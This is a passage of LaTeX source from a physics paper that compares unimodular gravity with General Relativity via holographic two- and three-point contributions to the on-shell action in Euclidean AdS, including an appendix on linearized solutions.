{ S_{\text{\tiny{HGY}}}=-\frac{1}{2\kappa^2}\int d^dx\,2\Big[\frac{\rho_0 d^2}{L^2}\left(1-\frac{1}{2(d+1)}\kappa^2 h^i_jh^j_i\right)
-\left(\frac{\rho_0 d}{L}\right)^2\left(\frac{1}{2(d+1)}\kappa^2 h^i_j\partial_0 h^j_i\right)\left.\Big]\right\vert_{w=\rho_0}+o((h_{ij})^3).}
\end{array}
\label{finalSHGY}
\end{equation}
To obtain the expansion of $S_{\text{\tiny{UG}}}$ in (\ref{UGaction}) up to second order in $h_{\mu\nu}$ for the solution in (\ref{finalresult}), all that is left for us to do is to add (\ref{HEUG2final}) and (\ref{finalSHGY}). Thus, we obtain
\begin{equation}
\begin{array}{l}
{S_{\text{\tiny{UG}}}\,=\,-\frac{1}{2\kappa^2}\times}\\[8pt]
{\int\!
d^d x\! \left. \left\{\frac{d(d-1)}{L^2}\rho_0\! +\!\kappa^2\frac{\rho_0}{L^2}\frac{d(1-d)}{2(d+1)} h^i_j[w,\vec{x}] h^j_i[w,\vec{x}]\!
-\!\kappa^2\left(\frac{\rho_0 d}{L}\right)^2\frac{1}{4} h^j_i[w,\vec{x}]\partial_0 h^i_j[w,\vec{x}]\right\}\right\vert_{w=\rho_0}\!\!+\!o((h_{ij})^3),}
\end{array}
\label{2ptaction}
\end{equation}
where $h^i_j[w,\vec{x}]$, or rather its Fourier transform, is given in (\ref{finalresult}).
To compare the result in (\ref{2ptaction}) with the corresponding results in General Relativity, which we shall borrow from \cite{Liu:1998bu} and \cite{Arutyunov:1998ve}, we have to change coordinates from $(w,\vec{x})$ to $(z,\vec{x})$ by inverting the transformation in (\ref{wcoord}). Upon making this change of coordinates, one gets
\begin{equation}
\begin{array}{l}
{S_{\text{\tiny{UG}}}\,=\,-\frac{1}{2\kappa^2}\times}\\[8pt]
{\int\!
d^d x\! \left. \left\{\frac{(d-1)}{L}\big(\frac{\epsilon_0}{L}\big)^{-d}\!\!\!+\!\big(\frac{\epsilon_0}{L}\big)^{-d}\frac{\kappa^2(1-d)}{2(d+1)L}\! H^i_j[z,\vec{x}] H^j_i[w,\vec{x}]\!
+\!\left(\frac{\epsilon_0}{L}\right)^{1-d}\!\frac{\kappa^2}{4}\! H^j_i[z,\vec{x}]\partial_z H^i_j[z,\vec{x}]\right\}\right\vert_{z=\epsilon_0}\!\!\!\!+\!o((H_{ij})^3),}
\end{array}
\label{2ptactionz}
\end{equation}
where $\epsilon_0=(\rho_0 d/L^{d+1})^{-1/d}$ is the infrared cutoff for the $z$ variable. $H^i_j[z,\vec{x}]$ is defined its Fourier transform, which is given in (\ref{HIJresult}) and (\ref{hTTdecomp}). $H^i_j[z,\vec{x}]$ occurs in (\ref{2ptactionz}) because of the definitions in (\ref{finalresult}). Notice that the second summand in (\ref{2ptactionz}) boils down to
\begin{equation*}
\Big(\frac{\epsilon_0}{L}\Big)^{-d}\,\frac{\kappa^2(1-d)}{2(d+1)L}\! h^{(\tiny{TT})\,i}_j[\vec{x}] h^{(\tiny{TT})\,j}_i[\vec{x}],
\end{equation*}
when $z$ is set to $\epsilon_0$. The Fourier transform of $h^{TT\,j}_i[\vec{x}]$ is given in (\ref{hTTdecomp}).
Now, $\epsilon_0$ is to be sent to $0$ (ie,$\rho_0\rightarrow\infty$) after subtracting the IR divergences regulated by it. The first two summands in (\ref{2ptactionz}) diverge as $\epsilon_{0}\rightarrow 0$ and they must to be subtracted altogether to get a finite result in the IR limit. Hence we will be left only with the contribution
\begin{equation}
{\cal S}=-\frac{1}{2\kappa^2}\int
d^d x \left. \left\{\left(\frac{\epsilon_0}{L}\right)^{1-d}\,\frac{\kappa^2}{4} H^j_i[z,\vec{x}]\partial_z H^i_j[z,\vec{x}]\right\}\right\vert_{z=\epsilon_0}.
\label{calS}
\end{equation}
This is precisely, modulo conventions, the result in (2.26) of the paper \cite{Arutyunov:1998ve}, where it is argued that (2.26) yields the correct two-point function of the energy-momentum tensor of the dual theory. Notice that our $H^j_i[z,\vec{k}]$, the Fourier transform of $H^j_i[z,\vec{k}]$, is the same as $\bar{h}^i_j[z,\vec{k}]$ in \cite{Arutyunov:1998ve}. Indeed, the latter is traceless and transverse --see (2.21) of \cite{Arutyunov:1998ve}-- and its actual value is given in (2.23) of \cite{Arutyunov:1998ve}, which is our (\ref{HIJresult}). Let us point out that to reach the conclusion just stated one may carry out the whole computation in momentum and see that the IR finite contribution to ${\cal S}$ in (\ref{calS})
reads
\begin{equation*}
{\cal S}_{\tiny{finite}}=C_{T}\idqd\idpd\,(2\pi)^d\delta(\vec{p}+\,\vec{q})\, h^{(b)}_{ij}(\vec{q})\Pi^{ij\,lm}\,(\vec{p})\,F(\vec{p})\,h^{(b)}_{lm}(\vec{p}),
\end{equation*}
where $C_{T}$ is a constant and
\begin{equation}
\begin{array}{l}
{\Pi^{ij\,lm}(\vec{p})=\frac{1}{2}\left(\pi^{il}(\vec{p})\pi^{jm}(\vec{p})+\pi^{im}(\vec{p})\pi^{jl}(\vec{p})\right)-\frac{1}{d-1}\pi^{ij}(\vec{p})\pi^{lm}(\vec{p}),}
\\[8pt]
{\pi^{ij}(\vec{p})=\delta^{ij}-\frac{p^i p^j}{p^2},}\\[8pt]
{F(p)= |\vec{p}|^d,\quad\text{if $d$ is odd}\quad\text{and}\quad |\vec{p}|^d\ln|\vec{p}|,\quad\text{if $d$ is even}.}
\label{skenderis}
\end{array}
\end{equation}
Taking two derivatives of ${\cal S}_{\tiny{finite}}$ with respect to $h^{(b)}_{ij}(\vec{p})$ yields, modulo a constant, the two-point correlation function of the energy-momentum tensor in momentum space found in \cite{Bzowski:2013sza} for general CFT. $F(\vec{p})$ in (\ref{skenderis}) can be read off from the on-shell action of a massless scalar field on Eclidean AdS --see \cite{Ammon:2015wua}.
Let us point out that our $H^j_i[z,\vec{k}]$ agrees with the bulk-boundary propagator used in \cite{Raju:2011mp, Albayrak:2019yve}. Indeed, the propagator in question is the solution in the axial gauge to the linearized Einstein equations for Dirichlet Boundary conditions and space-like momenta.
Let us now go back to the first two terms in (\ref{2ptactionz}) that we have subtracted to get an IR finite result. The corresponding contributions in General Relativity can be obtained from equation (4.15) of \cite{Liu:1998bu} and they read
\begin{equation}
-\frac{1}{2\kappa^2}\int d^d x \,\frac{2(d-1)}{L}\left(\frac{\epsilon_0}{L}\right)^{-d}\left(1-\frac{\kappa^2}{4}h^i_j h^j_i\right).
\label{GRresult}
\end{equation}
Obviously, the integrand of (\ref{GRresult}) and the two first summands of (\ref{2ptactionz}) are linear combinations of the same type of monomials, namely $1$ and $h^i_j h^j_i$, but with different coefficients. So these IR divergent contributions in General Relativity differ from those of our unimodular theory.
It has been shown in \cite{Liu:1998bu} that the IR divergences we have just quoted can be subtracted just by adding the term
\begin{equation*}
a\,\int d^d x \sqrt{g^{(b)}}
\end{equation*}
and choosing the coefficient $a$ appropriately. One may wonder if the analogous term, namely
\begin{equation*}
\frac{c}{L}\,\int d^d x \sqrt{\hat{g}^{(b)}},
\end{equation*}
would do the job for unimodular gravity. The answer is no, for the expansion in (\ref{hgbdet}) yields the following contribution
\begin{equation*}
\frac{c}{L}\,\int d^d x\, \frac{\rho_0 d}{L}\,\Big[1-\frac{1}{4(d+1)}\kappa^2 h^i_j h^j_i\Big],
\end{equation*}
so that one can choose, eg, $c=2(1-d)$, to cancel the $h^i_j h^j_i$ summand in (\ref{2ptaction}); but, then there remains an IR --ie, as $\rho_0\rightarrow\infty$-- divergent contribution
\begin{equation*}
\int d^d x\, \frac{\rho_0 d}{L^2}\,(1-d),
\end{equation*}
which has to be subtracted anyway.
Summarizing, we have shown that, up to the quadratic order, the value of the on-shell classical action for our unimodular gravity differs from that of General Relativity by IR divergent contact terms --see (\ref{2ptactionz}) and (\ref{GRresult}). Hence, our unimodular theory differs from General Relativity at the (IR) regularized level. And yet, for the leading saddle point approximation to the two-point contribution of the gravity field to $\ln Z_{gravity}[h^{(b)}_{ij}]$ in (\ref{saddlep}), a sensible subtraction of the IR divergences yields the same finite result for our unimodular theory as for General Relativity. So the equivalence between our unimodular gravity theory and General Relativity holds, in the case at hand, in a nontrivial way. Of course, the two-point correlation function of the energy-momentum tensor of the dual theory obtained from the on-shell classical gravity action in the leading approximation is the same for both unimodular theory and General Relativity.
\section{The three-point function}
Here we shall work out the contribution to $S_{\text{\tiny{UG}}}$ in (\ref{UGaction}) involving three $h_{\mu\nu}$, $h_{\mu\nu}$ being given in (\ref{finalresult}). We shall compare the contribution in question with that of General Relativity and draw conclusions.
The use of the algebraic package xAct \cite{xAct} and some very lengthy computations yields that the three-$h_{\mu\nu}$ contribution, say $S_{\text{\tiny{HEUG3}}}$, to
\begin{equation*}
-\frac{1}{2\kappa^2}\int d^d x\int_{0}^{\rho_0}dw \,R[\hat{g}]
\end{equation*}
reads
\begin{equation}
S_{\text{\tiny{HEUG3}}}= S_{\text{\tiny{BulkUG3}}}\,+\, {\cal B}_{\text{\tiny{HEUG3}}},
\label{SHEUG3}
\end{equation}
where
\begin{equation}
\begin{array}{l}
{S_{\text{\tiny{BulkUG3}}}=
-\frac{\kappa}{2}\int
d^d x \int_0^{\rho_0} dw\,\sqrt{\bar{g}}\Big\{\frac{d}{6 L^2}h^\mu_\lambda h^\lambda_\nu h^\nu_\mu+\frac{1}{4}h^{\mu\nu}\bar{\nabla}_\mu h_{\tau\sigma}\bar{\nabla}_\nu h^{\tau\sigma}
-\frac{1}{2}h^{\mu\tau}\bar{\nabla}_\tau h^{\nu\sigma}\bar{\nabla}_\sigma h_{\mu\nu}\Big\},}\\
{{\cal B}_{\text{\tiny{HEUG3}}}=-\frac{\kappa}{2}\int
d^d x \int_0^{\rho_0} dw\,\bar{\nabla}_\lambda B^\lambda ,}\\[8pt]
{B^\lambda=\frac{d-3}{4(d+1)}h^{\mu\nu}h_{\nu\tau}\bar{\nabla}^\lambda h_\mu^\tau-\frac{1}{d+1}h^{\mu\nu}h^{\lambda\tau}\bar{\nabla}_\tau h_{\mu\nu}+h^{\mu\lambda}h^{\nu\tau}\bar{\nabla}_\tau h_{\mu\nu}+\frac{1}{2}h_{\mu\nu}h^{\nu\tau} \bar{\nabla}_\tau h^{\mu\lambda}.}
\label{B3}
\end{array}
\end{equation}
To obtain (\ref{SHEUG3}) and (\ref{B3}), the equations in (\ref{TTcovariant}) and (\ref{simpleeom}) are to be employed profusely.
Let us simplify the boundary contribution, ${\cal B}_{\text{\tiny{HEUG3}}}$, to $S_{\text{\tiny{HEUG3}}}$ by imposing the axial gauge condition $h_{\mu0}[w,\vec{x}]=0$:
\begin{equation}
\begin{array}{l}
{{\cal B}_{\text{\tiny{HEUG3}}}\,=\,-\frac{\kappa}{2}\int
d^d x \int_0^{\rho_0} dw\,\sqrt{\bar{g}}\, \bar{\nabla}_\lambda B^\lambda[w,\vec{x}]=-\frac{\kappa}{2}\int
d^d x \left.\left[\sqrt{\bar{g}^{(b)}}\,\bar{n}_\lambda\, B^\lambda\right]\right\vert_{w=\rho_0}=}\\[8pt]
{\phantom{{\cal B}_{\text{\tiny{HEUG3}}}\,}-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\rho_0 d}{L}\right)^2\, \frac{d-3}{4(d+1)}\,h^{ij}h_{i}^k \partial_0 h_{jk}-\frac{\rho_0 d}{L^2 }\frac{d-1}{d+1}h^i_jh^j_l h^l_i\Big]\right\vert_{w=\rho_0}=}\\[8pt]
{\phantom{{\cal B}_{\text{\tiny{HEUG3}}}\,}-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\rho_0 d}{L}\right)^2\, \frac{d-3}{4(d+1)}\,h^i_jh^j_l \partial_0 h^l_i-\frac{\rho_0 d}{L^2 }\Big(\frac{1}{2}\Big) h^i_jh^j_l h^l_i\Big]\right\vert_{w=\rho_0}=}
\end{array}
\label{BoundaryUG3}
\end{equation}
where $\bar{g}^{(b)}_{ij}$ and $\bar{n}^\lambda$ are given in (\ref{bbgmetric}) and (\ref{nbarvalue}), respectively. Recall that $\partial_0\equiv\frac{\partial}{\partial w}$ and that $\bar{g}=1$.
To compute the three-$h_{\mu\nu}$ contribution coming from the unimodular Hawking-Gibbons-York action in (\ref{HGYaction}), the following results are needed
\begin{equation}
\begin{array}{l}
{\sqrt{\hat{g}^{(b)}[\rho_0,\vec{x}]}=\frac{\rho_0 d}{L}\left.\Big[1-\frac{1}{4(d+1)}\kappa^2 h^i_jh^j_i+\frac{1}{6(d+1)}\kappa^3 h^i_j h^j_l h^l_i\Big]\right\vert_{w=\rho_0}+o((h_{ij})^4),}\\[8pt]
{\hat{n}^{0}=\hat{n}^0[w,\vec{x}]=\frac{ w d }{L}\Big[1-\frac{1}{4(d+1)}\kappa^2 h^i_j h^j_i+\frac{1}{6(d+1)}\kappa^3 h^i_j h^j_l h^l_i\Big]+o((h_{ij})^4),}\\[8pt]
{ K[\rho_0,\vec{x}]=\partial_\mu \hat{n}^\mu[\rho_0,\vec{x}]=\partial_0\hat{n}^0[w,\vec{x}]=\frac{d}{L}\left.\Big[1-\frac{1}{4(d+1)}\kappa^2 h^i_j h^j_i+\frac{1}{6(d+1)}\kappa^3 h^i_j h^j_l h^l_i\Big]\right\vert_{w=\rho_0}+}\\[8pt]
{\phantom{K[\rho_0,\vec{x}]=}+\frac{\rho_0 d}{L}\left.\Big[-\frac{1}{2(d+1)}\kappa^2 h^i_j\partial_0 h^j_i+\frac{1}{2(d+1)}\kappa^3 h^i_j h^j_l \partial_0 h^l_i\Big]\right\vert_{w=\rho_0}+o((h_{ij})^4),}
\label{sundryresults}
\end{array}
\end{equation}
where $\hat{g}^{(b)}_{ij}$ has been defined in (\ref{hgbij}) and $\hat{n}^\mu=(\hat{n}^0,\vec{0})$ and $K[\rho_0,\vec{x}]$ have been introduced in the paragraph beginning right below (\ref{hgbdet}). To obtain (\ref{sundryresults}) the conditions $h_{\mu 0}=0$ and $h=0$ must be imposed, recall that these
conditions are satisfied by our solution in (\ref{finalresult}).
Using the results in (\ref{sundryresults}), it can be shown that three-field contribution, $S_{\text{\tiny{HGY3}}}$, to the action in (\ref{HGYaction}) runs thus:
\begin{equation}
S_{\text{\tiny{HGY3}}}=-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\rho_0 d}{L}\right)^2\, \frac{1}{d+1}\,h^i_jh^j_l \partial_0 h^l_i+\frac{\rho_0 d}{L^2 }\frac{2 d}{3(d+1)}h^i_jh^j_l h^l_i\Big]\right\vert_{w=\rho_0},
\label{SHGY3}
\end{equation}
Let us introduce ${\cal B}_{\text{\tiny{UG3}}}$:
\begin{equation}
{\cal B}_{\text{\tiny{UG3}}}={\cal B}_{\text{\tiny{HEUG3}}}+S_{\text{\tiny{HGY3}}}=
-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\rho_0 d}{L}\right)^2\,\Bigg( \frac{1}{4}\Bigg)\,h^i_jh^j_l \partial_0 h^l_i+\frac{\rho_0 d}{L^2 }\Bigg(\frac{ d-3}{6(d+1)}\Bigg) h^i_j h^j_l h^l_i\Big]\right\vert_{w=\rho_0},
\label{boundarycalUG3}
\end{equation}
where ${\cal B}_{\text{\tiny{HEUG3}}}$ and $S_{\text{\tiny{HGY3}}}$ are displayed in (\ref{BoundaryUG3}) and (\ref{SHGY3}), respectively.
We then conclude that the three-$h_{\mu\nu}$ contribution, $S_{\text{\tiny{UG3}}}$, to $S_{\text{\tiny{UG}}}$ in (\ref{UGaction}) is given by
\begin{equation}
S_{\text{\tiny{UG3}}}= S_{\text{\tiny{BulkUG3}}}\,+\,{\cal B}_{UG3},
\label{SUG3}
\end{equation}
where $S_{\text{\tiny{BulkUG3}}}$ and ${\cal B}_{UG3}$ can be found in (\ref{B3}) and (\ref{boundarycalUG3}), respectively.
Let us carry out a similar computation for General Relativity. To do so we shall need the following result obtained in the Appendix, namely, that, modulo a gauge transformation, the solution, in the axial gauge $h_{\mu 0}=0$ and having a well-defined limit as
$z\rightarrow \infty$, to the linearized General Relativity equations for Dirichlet boundary conditions satisfies
\begin{equation}
h[z,\vec{x}]=\tilde{g}^{\mu\nu}h_{\mu\nu}[z,\vec{x}],\quad \tilde{\nabla}^\mu h_{\mu\nu}[z,\vec{x}]=0\quad\text{and}\quad \tilde{\Box}h_{\mu\nu}[z,\vec{x}]=-\frac{2}{L^2}h_{\mu\nu}[z,\vec{x}].
\label{TTGRcovariant}
\end{equation}
$\tilde{g}_{\mu\nu}$ is the Euclidean AdS metric with line element in (\ref{standardmetric}). The covariant derivative $\tilde{\nabla}_\mu$ is defined with regard to $\tilde{g}_{\mu\nu}$.
Let $S_{\text{\tiny{GR}}}$ be defined as follows
\begin{equation}
\begin{array}{l}
{ S_{\text{\tiny{GR}}}\,=\, S_{\text{\tiny{HEGR}}}\,+\, S_{\text{\tiny{HGYGR}}},}\\[8pt]
{S_{\text{\tiny{HEGR}}}= -\frac{1}{2\kappa^2}\int d^d x\int^{\infty}_{\epsilon_0} dz \,\sqrt{g}\,\big(R[g_{\mu\nu}]+ \frac{d(d-1)}{L^2}\big),\quad
S_{\text{\tiny{HGYGR}}}=-\frac{1}{2\kappa^2}\int d^d x\,\left.2\sqrt{g^{(b)}}K\right\vert_{z=\epsilon_0},}
\label{GRaction}
\end{array}
\end{equation}
where $g_{\mu\nu}=\tilde{g}_{\mu\nu}+\kappa h_{\mu\nu}$. The computation of the three-field contribution, $S_{\text{\tiny{HEGR3}}}$, to $S_{\text{\tiny{HEGR}}}$ yields
\begin{equation}
\begin{array}{l}
S_{\text{\tiny{HEGR3}}}= S_{\text{\tiny{BulkGR3}}}\,+\, {\cal B}_{\text{\tiny{HEGR3}}},
\label{SHEGR3}
\end{array}
\end{equation}
where
\begin{equation}
\begin{array}{l}
{S_{\text{\tiny{BulkGR3}}}= -\frac{\kappa}{2}\int
d^d x\int^{\infty}_{\epsilon_0} dz \sqrt{\tilde{g}}\Big\{\frac{d}{6L^2}h_\mu^\lambda h_{\nu\lambda} h^{\mu\nu}+\frac{1}{4}h^{\mu\nu}\tilde{\nabla}_\mu h_{\tau\s}\tilde{\nabla}_\nu h^{\tau\s}-\frac{1}{2}h^{\mu\tau}\tilde{\nabla}_\tau h^{\nu\s}\tilde{\nabla}_\s h_{\mu\nu}\Big\},}\\[8pt]
{{\cal B}_{\text{\tiny{HERG3}}}= -\frac{\kappa}{2}\int
d^d x\int^{\infty}_{\epsilon_0} dz\; \tilde{\nabla}_\lambda B_{\text{\tiny{GR3}}}^\lambda ,}\\[8pt]
{B_{\text{\tiny{GR3}}}^\lambda=-\frac{3}{4}h^{\mu\nu}h_{\nu\tau}\tilde{\nabla}^\lambda h_\mu^\tau-h^{\mu\nu}h^{\lambda\tau}\tilde{\nabla}_\tau h_{\mu\nu}+h^{\mu\lambda}h^{\nu\tau}\tilde{\nabla}_\tau h_{\mu\nu}+\frac{1}{2}h_{\mu\nu}h^{\nu\tau} \tilde{\nabla}_\tau h^{\mu\lambda}.}
\label{BGR3}
\end{array}
\end{equation}
To obtain (\ref{SHEGR3}) and (\ref{BGR3}) we have integrated by parts --keeping the boundary contributions-- and used (\ref{TTGRcovariant}).
The axial gauge condition $h_{\mu 0}=0$ and a little algebra leads to the conclusion that
\begin{equation}
{\cal B}_{\text{\tiny{HERG3}}}=-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\epsilon_0}{L}\right)^{1-d}\, \left(\frac{3}{4}\right)\,h^i_jh^j_l \partial_z h^l_i+\left(\frac{\epsilon_0 }{L}\right)^{-d}\left(-\frac{1}{2 L}\right) h^i_jh^j_l h^l_i\Big]\right\vert_{z=\epsilon_0}.
\label{SHERG3}
\end{equation}
It has been shown in \cite{Liu:1998bu} that
\begin{equation}
S_{\text{\tiny{HGYGR}}}= -\frac{1}{2\kappa^2}\int d^d x\,\left.\left(-2z\right)\frac{\partial}{\partial z}\sqrt{g^{(b)}[z,\vec{x}]}\right\vert_{z=\epsilon_0},
\label{lagata}
\end{equation}
where $S_{\text{\tiny{HGYGR}}}$ is defined in (\ref{GRaction}) and $g^{(b)}[z,\vec{x}]$ denotes the determinant of $g_{ij}[z,\vec{x}]$. Hence, by taking into account that
\begin{equation*}
{\sqrt{g^{(b)}[z,\vec{x}]}=\left(\frac{L}{z}\right)^d\Big[1-\frac{1}{4}\kappa^2 h^i_jh^j_i+\frac{1}{6}\kappa^3 h^i_j h^j_l h^l_i\Big]+o((h_{ij})^4),}
\end{equation*}
we obtain that the three-$h_{ij}$ contribution to $S_{\text{\tiny{HGYGR}}}$ in (\ref{lagata}) reads
\begin{equation}
S_{\text{\tiny{HGYGR3}}}=-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\epsilon_0}{L}\right)^{1-d}\, \left(-1\right)\,h^i_jh^j_l \partial_z h^l_i+\left(\frac{\epsilon_0 }{L}\right)^{-d}\left(\frac{d}{3 L}\right) h^i_jh^j_l h^l_i\Big]\right\vert_{z=\epsilon_0}.
\label{SHGYGR3}
\end{equation}
Putting it all together we conclude that the three-field contribution, $ S_{\text{\tiny{GR3}}}$, to $S_{\text{\tiny{GR}}}$ in (\ref{GRaction}) is given by
\begin{equation}
S_{\text{\tiny{GR3}}}=S_{\text{\tiny{BulkGR3}}}\,+\,{\cal B}_{\text{\tiny{GR3}}},
\label{SGR3}
\end{equation}
where $S_{\text{\tiny{BulkGR3}}}$ is displayed in (\ref{BGR3}) and
\begin{equation}
\begin{array}{l}
{{\cal B}_{\text{\tiny{GR3}}}={\cal B}_{\text{\tiny{HEGR3}}}\,+\,S_{\text{\tiny{HGYGR3}}}=}\\[8pt]
{-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\epsilon_0}{L}\right)^{1-d}\, \left(-\frac{1}{4}\right)\,h^i_jh^j_l \partial_z h^l_i+\left(\frac{\epsilon_0 }{L}\right)^{- d}\left(\frac{2d-3 }{6 L}\right) h^i_jh^j_l h^l_i\Big]\right\vert_{z=\epsilon_0}.}
\label{BoundGR3}
\end{array}
\end{equation}
The values of ${\cal B}_{\text{\tiny{HEGR3}}}$ and $S_{\text{\tiny{HGYGR3}}}$ can be found in (\ref{SHERG3}) and (\ref{SHGYGR3}), respectively.
We may compare now the three-field contribution $S_{\text{\tiny{UG3}}}$ in (\ref{SUG3}) with the three-field contribution $S_{\text{\tiny{GR3}}}$ in (\ref{SGR3}). But before we make that comparison, let us point out a fact regarding the $h^i_j[z,\vec{x}]$ field which ${\it i})$ solves the linearized General Relativity equations for the metric in (\ref{standardmetric}), ${\it ii})$ satisfies Dirichlet boundary conditions and ${\it iii})$ has a well-defined limit as $z\rightarrow\infty$. The fact is that $h^i_j[z,\vec{x}]=H^i_j[z,\vec{x}]$, where the Fourier transform of $H^i_j[z,\vec{x}]$ is given in (\ref{HIJresult}) and (\ref{finalresult}). The reader should consult the Appendix for details.
It is plane that the change of variables $z\rightarrow w$ defined in (\ref{wcoord}) turns $S_{\text{\tiny{BulkGR3}}}$, in (\ref{BGR3}), into
$S_{\text{\tiny{BulkUG3}}}$ in (\ref{B3}). However, if we apply the change of variables we have just mentioned to ${\cal B}_{\text{\tiny{GR3}}}$ in (\ref{BoundGR3}), we get
\begin{equation}
{\cal B}_{\text{\tiny{GR3}}}=
-\frac{\kappa}{2}\int
d^d x \left.\Big[\left(\frac{\rho_0 d}{L}\right)^{2}\, \left(\frac{1}{4}\right)\,h^i_jh^j_l \partial_0 h^l_i+
\left(\frac{\rho_0 d }{L^2}\right)
\left(\frac{2d-3 }{6 }\right) h^i_jh^j_l h^l_i\Big]\right\vert_{w=\rho_0},
\label{BGR3w}
\end{equation}
where $\rho_0= \frac{L^{d+1}}{d}(\epsilon_0)^{-d}$, $\partial_0=\frac{\partial}{\partial w}$ and $h^i_j=h^i_j[w,\vec{x}]$; the Fourier transform of $h^i_j[w,\vec{x}]$ being given in (\ref{finalresult}).
Obviously, ${\cal B}_{\text{\tiny{GR3}}}$ in (\ref{BGR3w}) and ${\cal B}_{\text{\tiny{UG3}}}$ in (\ref{boundarycalUG3}) are not equal, the difference
coming from the IR divergent contact term
\begin{equation}
\int d^d x \left. \Big[\left(\frac{\rho_0 d }{L^2}\right)
h^i_jh^j_l h^l_i\Big]\right\vert_{w=\rho_0}= \int d^d x\left(\frac{\rho_0 d }{L^2}\right)
h^{(\tiny{TT})\,i}_j[\vec{x}]h^{(\tiny{TT})\,j}_l[\vec{x}] h^{(\tiny{TT})\,l}_i[\vec{x}],
\label{contact3}
\end{equation}
where $h^{(\tiny{TT})\,i}_j[\vec{x}]$ has $h^{TT\,i}_j[\vec{k}]$ in (\ref{hTTdecomp}) as Fourier transform.
This term --since it is a contact term-- does not contribute to value of the three-point correlation function of the energy-momentum tensor of the dual field theory. We see again the same picture as for the two-point contribution discussed in the previous section. Indeed, the three-field contribution to righthand side of (\ref{saddlep}) in unimodular gravity is not the same as in General Relativity when the IR regulator is in place. However, the difference is an IR divergent contact term which does not contribute to the value of the three-point correlation functions of the energy-momentum tensor of the dual field theory. Of course, the subtraction of the term in question to get an IR finite value for the right hand side of (\ref{saddlep}) will make unimodular gravity fully equivalent to General Relativity as far as our results are concerned. This equivalence arising in a nontrivial way, though.
\section{Summary and Conclusions}
The formulation of theory of unimodular gravity put forward in \cite{Alvarez:2006uu, Alvarez:2005iy, Alvarez:2015sba} has the nice feature that transverse diffeomorphims and Weyl transformations are the gauge symmetries of the theory. We have started the study of the properties of this formulation of unimodular gravity from the gauge/gravity duality point of view. We do so by computing --at the lowest order-- the IR regularized two- and three-point $h_{\mu\nu}$ contributions to the on-shell classical gravity action for an Euclidean AdS background. We have shown that these two- and three- point contributions do not agree with the corresponding contributions in General Relativity due to IR divergent contact terms --see (\ref{2ptactionz}) and (\ref{GRresult}), on the one hand, and (\ref{boundarycalUG3}), (\ref{BGR3w}) and (\ref{contact3}), on the other. However, once those IR divergent terms are subtracted our unimodular theory and General Relativity yield the same IR finite result. The subtraction in question does not modify the value of the corresponding correlation functions of the energy-momentum tensor of the dual field theory. So, we conclude that, as far as our computations can tell, our unimodular gravity theory and General Relativity are equivalent in the sense that they have the same dual boundary field theory. Of course, we have shown that this equivalence emerges in a nontrivial way. Whether the equivalence in question will still hold for higher-point functions and/or when one-loop corrections are taken into account is an open problem. A problem which is worth studying.
\section{Acknowledgments} We thank E. \'Alvarez for continuous and illuminating discussions.
The work by C.P. Martin has been financially supported in part by the Spanish MICINN through grant {\color{green} PGC2018-095382-B-I00}.
\section{Appendix}
In this Appendix we shall discuss how to find a suitable solution to the linearized General Relativity equations
\begin{equation}
\begin{array}{l}
{\frac{1}{2}\tilde{\Box}h_{\mu\nu}-\frac{1}{2}\tilde{g}_{\mu\nu}\tilde{\Box}h-\frac{1}{2}\tilde{\nabla}_\mu\tilde{\nabla}_\lambda h^\lambda_\nu-\frac{1}{2}\tilde{\nabla}_\nu\tilde{\nabla}_\lambda h^\lambda_\mu+\frac{1}{2}\tilde{g}_{\mu\nu}\tilde{\nabla}_\tau\tilde{\nabla}_\sigma h^{\tau\sigma}+\frac{1}{2}\tilde{\nabla}_\mu\tilde{\nabla}_\nu h-}\\[8pt]
{+\frac{1}{L^2} h_{\mu\nu}+\frac{(d-2)}{2L^2}\tilde{g}_{\mu\nu} h=0,}
\label{linGR}
\end{array}
\end{equation}
where $\tilde{g}_{\mu\nu}$ is the metric with line element in (\ref{standardmetric}) and all covariant derivatives are defined with regard to $\tilde{g}_{\mu\nu}$. Let us recall that given an arbitrary real vector field, $U^\mu[z,\vec{x}]$, the previous equation is invariant the gauge transformations
\begin{equation*}
\delta h_{\mu\nu}=\tilde{\nabla}_\mu U_\nu+\tilde{\nabla}_\nu U_\mu.
\end{equation*}
We shall obtain the solution to (\ref{linGR}) in the axial gauge, $h_{\mu0}=0$, which satisfies appropriate Dirichlet boundary conditions and has a well-defined limit as $z\rightarrow \infty$. The domain where (\ref{linGR}) will be solved is $\{(z,\vec{x}); \epsilon_{0}<z<\infty,\vec{x}\in\rm{I\!R}^d\}$, with boundary at $z=\epsilon_0$. What we shall find is that the solution in question, say $h_{ij}[z,\vec{x}]$, is such that its Fourier transform $h_{ij}[z,\vec{k}]$ is, modulo a gauge transformation, equal to $\tilde{g}_{il}H^l_j[z,\vec{k}]$, $H^l_j[z,\vec{k}]$
being given in (\ref{HIJresult}); the gauge transformation preserving the axial gauge condition. This means that this is the solution --see (\ref{finalresult})-- we found for the linearized unimodular gravity equation in (\ref{linearisedugeq}) expressed in terms of the coordinate $z$ instead of the coordinate $w$ in (\ref{wcoord}). Notice, though, that this result is nontrivial, for (\ref{linGR}) and (\ref{linearisedugeq}) are quite different. It is important to stress that the solution to (\ref{linGR}) that we shall find
satisfies
\begin{equation*}
h[z,\vec{x}]=\tilde{g}^{\mu\nu}h_{\mu\nu}[z,\vec{x}],\quad \tilde{\nabla}^\mu h_{\mu\nu}[z,\vec{x}]=0\quad\text{and}\quad \tilde{\Box}h_{\mu\nu}[z,\vec{x}]=-\frac{2}{L^2}h_{\mu\nu}[z,\vec{x}],
\end{equation*}
for this was used in our computations of the General Relativity three-field contributions to the right hand side of (\ref{saddlep}).
Let us point out that our result is not new. In \cite{Raju:2011mp} --see its eq. (2.43)-- it is stated that the axial gauge bulk-boundary propagator for the gravitational field for space-like momenta is given by $\tilde{g}_{il}H^l_j[z,\vec{k}]$, where $H^l_j[z,\vec{k}]$ is displayed in (\ref{HIJresult}).
